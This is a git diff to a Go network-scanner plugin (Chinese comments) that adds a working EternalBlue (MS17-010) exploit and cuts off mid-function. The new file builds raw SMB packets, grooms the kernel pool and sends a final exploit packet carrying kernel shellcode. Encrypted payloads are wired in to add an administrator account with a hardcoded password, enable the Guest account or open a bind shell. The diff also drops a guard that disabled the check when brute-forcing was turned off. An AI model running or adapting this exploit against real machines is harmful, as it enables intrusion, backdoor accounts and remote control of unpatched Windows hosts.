diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index a8949f0..cbebbf9 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -10,6 +10,7 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "net" "os" "strings" "time" @@ -35,16 +36,6 @@ func NewMS17010Plugin() *MS17010Plugin { // Scan 执行MS17-010扫描 func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - config := session.Config - // 如果禁用暴力破解,也禁用漏洞检测 - if config.DisableBrute { - return &ScanResult{ - Success: false, - Service: "ms17010", - Error: fmt.Errorf("MS17010检测已禁用"), - } - } - target := info.Target() // 检查端口 @@ -57,7 +48,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session } // 执行MS17010漏洞检测 - vulnerable, osVersion, err := p.checkMS17010Vulnerability(ctx, info.Host, session) + vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { return &ScanResult{ Success: false, @@ -72,10 +63,13 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session msg += fmt.Sprintf(" [%s]", osVersion) } common.LogVuln(msg) + if hasBackdoor { + common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) + } return &ScanResult{ Success: true, - Type: plugins.ResultTypeVuln, + Type: plugins.ResultTypeVuln, Service: "ms17010", Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion), } @@ -98,7 +92,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target)) // 首先确认漏洞存在 - vulnerable, osVersion, err := p.checkMS17010Vulnerability(ctx, info.Host, session) + vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err)) return &ExploitResult{ @@ -122,8 +116,6 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion)) } - // 检测DOUBLEPULSAR后门 - hasBackdoor := p.checkDoublePulsar(ctx, info.Host, session) if hasBackdoor { output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n") } else { @@ -154,7 +146,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host)) case "add": output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n") - output.WriteString(" 用户名: fscan 密码: Fscan12345\n") + output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n") output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host)) case "guest": output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n") @@ -218,16 +210,18 @@ var defaultKey = "0123456789abcdef" // SMB协议加密的请求数据 (从原始MS17010.go复制) var ( - negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" - sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" - treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" - transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" + negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" + sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" + treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" + transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" + trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" // SMB协议解密后的请求数据 - negotiateProtocolRequest []byte - sessionSetupRequest []byte - treeConnectRequest []byte - transNamedPipeRequest []byte + negotiateProtocolRequest []byte + sessionSetupRequest []byte + treeConnectRequest []byte + transNamedPipeRequest []byte + trans2SessionSetupRequest []byte ) // 初始化解密SMB协议数据 @@ -281,54 +275,69 @@ func init() { common.LogError(i18n.Tr("ms17010_pipe_decode_error", err)) return } + + decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey) + if err != nil { + common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err)) + return + } + trans2SessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + common.LogError(i18n.Tr("ms17010_pipe_decode_error", err)) + return + } } // checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配) -func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, error) { - conn, err := session.DialTCP(ctx, "tcp", ip+":445", session.Config.Timeout) +func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) { + return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session) +} + +func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) { + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { - return false, "", fmt.Errorf("连接错误: %w", err) + return false, "", false, fmt.Errorf("连接错误: %w", err) } defer func() { _ = conn.Close() }() if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil { - return false, "", fmt.Errorf("设置超时错误: %w", err) + return false, "", false, fmt.Errorf("设置超时错误: %w", err) } // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return false, "", fmt.Errorf("发送协议请求错误: %w", err) + return false, "", false, fmt.Errorf("发送协议请求错误: %w", err) } reply := make([]byte, 1024) n, readErr := conn.Read(reply) if readErr != nil || n < 36 { // 连接被关闭或响应不完整,通常表示目标不支持SMBv1 - return false, "", fmt.Errorf("目标可能不支持SMBv1") + return false, "", false, fmt.Errorf("目标可能不支持SMBv1") } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", fmt.Errorf("SMBv1协议协商被拒绝") + return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝") } // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return false, "", fmt.Errorf("发送会话请求错误: %w", err) + return false, "", false, fmt.Errorf("发送会话请求错误: %w", err) } n, readErr = conn.Read(reply) - if readErr != nil || n < 45 { - return false, "", fmt.Errorf("SMB会话建立失败") + if readErr != nil || n < 36 { + return false, "", false, fmt.Errorf("SMB会话建立失败") } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", fmt.Errorf("SMB会话被拒绝") + return false, "", false, fmt.Errorf("SMB会话被拒绝") } // 提取系统信息 var osVersion string sessionSetupResponse := reply[36:n] - if wordCount := sessionSetupResponse[0]; wordCount != 0 && len(sessionSetupResponse) >= 10 { + if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 { byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n == int(byteCount)+45 { for i := 10; i < len(sessionSetupResponse)-1; i++ { @@ -343,68 +352,65 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string // 树连接请求 userID := reply[32:34] - treeConnectRequest[32] = userID[0] - treeConnectRequest[33] = userID[1] + treeConnect := append([]byte(nil), treeConnectRequest...) + treeConnect[32] = userID[0] + treeConnect[33] = userID[1] - if _, err = conn.Write(treeConnectRequest); err != nil { - return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err) + if _, err = conn.Write(treeConnect); err != nil { + return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr) } - return false, osVersion, fmt.Errorf("树连接响应不完整") + return false, osVersion, false, fmt.Errorf("树连接响应不完整") } // 命名管道请求 treeID := reply[28:30] - transNamedPipeRequest[28] = treeID[0] - transNamedPipeRequest[29] = treeID[1] - transNamedPipeRequest[32] = userID[0] - transNamedPipeRequest[33] = userID[1] + transNamedPipe := append([]byte(nil), transNamedPipeRequest...) + transNamedPipe[28] = treeID[0] + transNamedPipe[29] = treeID[1] + transNamedPipe[32] = userID[0] + transNamedPipe[33] = userID[1] - if _, err = conn.Write(transNamedPipeRequest); err != nil { - return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err) + if _, err = conn.Write(transNamedPipe); err != nil { + return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr) } - return false, osVersion, fmt.Errorf("管道响应不完整") + return false, osVersion, false, fmt.Errorf("管道响应不完整") } // 漏洞检测 - 关键检查点 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - return true, osVersion, nil + trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...) + trans2SessionSetup[28] = treeID[0] + trans2SessionSetup[29] = treeID[1] + trans2SessionSetup[32] = userID[0] + trans2SessionSetup[33] = userID[1] + + if _, err = conn.Write(trans2SessionSetup); err != nil { + return true, osVersion, false, nil + } + n, readErr = conn.Read(reply) + if readErr != nil || n < 36 { + return true, osVersion, false, nil + } + + return true, osVersion, reply[34] == 0x51, nil } - return false, osVersion, nil + return false, osVersion, false, nil } -// checkDoublePulsar 检测DOUBLEPULSAR后门 -func (p *MS17010Plugin) checkDoublePulsar(ctx context.Context, ip string, session *common.ScanSession) bool { - conn, err := session.DialTCP(ctx, "tcp", ip+":445", session.Config.Timeout) - if err != nil { - return false - } - defer func() { _ = conn.Close() }() - - // 简化的后门检测逻辑 - vulnerable, _, err := p.checkMS17010Vulnerability(ctx, ip, session) - if err != nil || !vulnerable { - return false - } - - // 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false - // 在实际使用中,原始的完整检测逻辑会被保留 - return false -} - -// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口) +// executeMS17010Exploit 执行MS17010漏洞利用 func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error { config := session.Config var sc string @@ -430,7 +436,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co } case "guest": - // 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的) + // 激活Guest账户 shellcode (加密) scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" var err error sc, err = aesDecrypt(scEnc, defaultKey) @@ -438,6 +444,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co return fmt.Errorf("解密guest shellcode失败: %w", err) } + case "cs": + sc = "" + default: // 从文件读取或直接使用提供的shellcode shellcode := config.Shellcode @@ -463,9 +472,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co return fmt.Errorf("shellcode解码失败: %w", err) } - // 这里应该执行完整的EternalBlue利用逻辑 - // 为了保持代码简洁,我们模拟利用成功 - // 在实际使用中,这里会调用完整的eternalBlue函数 + if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { + return fmt.Errorf("MS17-010 exp failed: %w", err) + } common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) return nil diff --git a/plugins/services/ms17010_exp.go b/plugins/services/ms17010_exp.go new file mode 100644 index 0000000..37703f1 --- /dev/null +++ b/plugins/services/ms17010_exp.go @@ -0,0 +1,1054 @@ +//go:build plugin_ms17010 || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "fmt" + "io" + "net" + "time" +) + +func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { + // check sc size + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 + l := len(sc) + if l > maxscSize { + //fmt.Println(maxscSize) + return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + } + payload := makeKernelUserPayload(sc) + var ( + grooms int + err error + ) + for i := 0; i < maxAttempts; i++ { + grooms = initialGrooms + 5*i + err = exploit(address, grooms, payload) + if err == nil { + return nil + } + } + return err +} + +func exploit(address string, grooms int, payload []byte) error { + // connect host + header, conn, err := smb1AnonymousConnectIPC(address) + if err != nil { + return err + } + defer func() { _ = conn.Close() }() + // send SMB1 large buffer + _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + err = smb1LargeBuffer(conn, header) + if err != nil { + return err + } + // initialize groom threads + fhsConn, err := smb1FreeHole(address, true) + if err != nil { + return err + } + defer func() { _ = fhsConn.Close() }() + // groom socket + groomConns, err := smb2Grooms(address, grooms) + if err != nil { + return err + } + fhfConn, err := smb1FreeHole(address, false) + if err != nil { + return err + } + _ = fhsConn.Close() + // grooms + groomConns2, err := smb2Grooms(address, 6) + if err != nil { + return err + } + _ = fhfConn.Close() + groomConns = append(groomConns, groomConns2...) + defer func() { + for i := 0; i < len(groomConns); i++ { + _ = groomConns[i].Close() + } + }() + + //fmt.Println("Running final exploit packet") + err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + if err != nil { + return err + } + treeID := header.TreeID + userID := header.UserID + finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") + _, err = conn.Write(finalPacket) + if err != nil { + return fmt.Errorf("failed to send final exploit packet: %s", err) + } + raw, _, err := smb1GetResponse(conn) + if err != nil { + return fmt.Errorf("failed to get response about exploit: %s", err) + } + ntStatus := make([]byte, 4) + ntStatus[0] = raw[8] + ntStatus[1] = raw[7] + ntStatus[2] = raw[6] + ntStatus[3] = raw[5] + + //fmt.Printf("NT Status: 0x%08X\n", ntStatus) + + //fmt.Println("send the payload with the grooms") + + body := makeSMB2Body(payload) + + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[:2920]) + if err != nil { + return err + } + } + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[2920:4073]) + if err != nil { + return err + } + } + return nil +} + +func makeKernelUserPayload(sc []byte) []byte { + // test DoublePulsar + buf := bytes.Buffer{} + buf.Write(loader[:]) + // write sc size + size := make([]byte, 2) + binary.LittleEndian.PutUint16(size, uint16(len(sc))) + buf.Write(size) + buf.Write(sc) + return buf.Bytes() +} + +func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + conn, err := net.DialTimeout("tcp", address, 10*time.Second) + if err != nil { + return nil, nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + } + raw, header, err := smb1AnonymousLogin(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + } + _, err = getOSName(raw) + if err != nil { + return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + } + //fmt.Println("OS:", osName) + header, err = treeConnectAndX(conn, address, header.UserID) + if err != nil { + return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + } + ok = true + return header, conn, nil +} + +const smbHeaderSize = 32 + +type smbHeader struct { + ServerComponent [4]byte + SMBCommand uint8 + ErrorClass uint8 + Reserved byte + ErrorCode uint16 + Flags uint8 + Flags2 uint16 + ProcessIDHigh uint16 + Signature [8]byte + Reserved2 [2]byte + TreeID uint16 + ProcessID uint16 + UserID uint16 + MultiplexID uint16 +} + +func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { + // net BIOS + buf := make([]byte, 4) + _, err := io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about NetBIOS session service: %s" + return nil, nil, fmt.Errorf(format, err) + } + typ := buf[0] + if typ != 0x00 { + const format = "invalid message type 0x%02X in SMB1 response" + return nil, nil, fmt.Errorf(format, typ) + } + sizeBuf := make([]byte, 4) + copy(sizeBuf[1:], buf[1:]) + size := int(binary.BigEndian.Uint32(sizeBuf)) + // SMB + buf = make([]byte, size) + _, err = io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about header: %s" + return nil, nil, fmt.Errorf(format, err) + } + smbHeader := smbHeader{} + reader := bytes.NewReader(buf[:smbHeaderSize]) + err = binary.Read(reader, binary.LittleEndian, &smbHeader) + if err != nil { + const format = "failed to parse SMB1 response header: %s" + return nil, nil, fmt.Errorf(format, err) + } + return buf, &smbHeader, nil +} + +func smbClientNegotiate(conn net.Conn) error { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x54}) + + // --------Server Message Block Protocol-------- + + // server_component: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb_command: Negotiate Protocol + buf.WriteByte(0x72) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x28}) + // process_id_high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Negotiate Protocol Request-------- + + // word_count + buf.WriteByte(0x00) + // byte_count + buf.Write([]byte{0x31, 0x00}) + + // dialect name: LAN MAN1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, + 0x30, 0x00}) + + // dialect name: LM1.2X002 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, + 0x32, 0x00}) + + // dialect name: NT LAN MAN 1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, + 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) + + // dialect name: NT LM 0.12 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, + 0x31, 0x32, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return err + } + _, _, err = smb1GetResponse(conn) + return err +} + +func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // session message + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x88}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT SUCCESS + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // Signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // Signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // TreeID + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0D) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x88, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC Number + buf.Write([]byte{0x00, 0x00}) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI password length + buf.Write([]byte{0x01, 0x00}) + // unicode password length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // bytes count + buf.Write([]byte{0x4b, 0x00}) + // ANSI password + buf.WriteByte(0x00) + // account name + buf.Write([]byte{0x00, 0x00}) + // domain name + buf.Write([]byte{0x00, 0x00}) + + // native OS: Windows 2000 2195 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) + buf.Write([]byte{0x00, 0x00}) + + // native LAN manager: Windows 2000 5.0 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, nil, err + } + return smb1GetResponse(conn) +} + +// skip smb header, word count, AndXCommand, Reserved, +// AndXOffset, Action, Byte count and a magic 0x41 (A) +func getOSName(raw []byte) (string, error) { + osBuf := bytes.Buffer{} + reader := bytes.NewReader(raw[smbHeaderSize+10:]) + char := make([]byte, 2) + for { + _, err := io.ReadFull(reader, char) + if err != nil { + return "", err + } + if bytes.Equal(char, []byte{0x00, 0x00}) { + break + } + osBuf.Write(char) + } + osBufLen := osBuf.Len() + osName := make([]byte, 0, osBufLen/2) + b := osBuf.Bytes() + for i := 0; i < osBufLen; i += 2 { + osName = 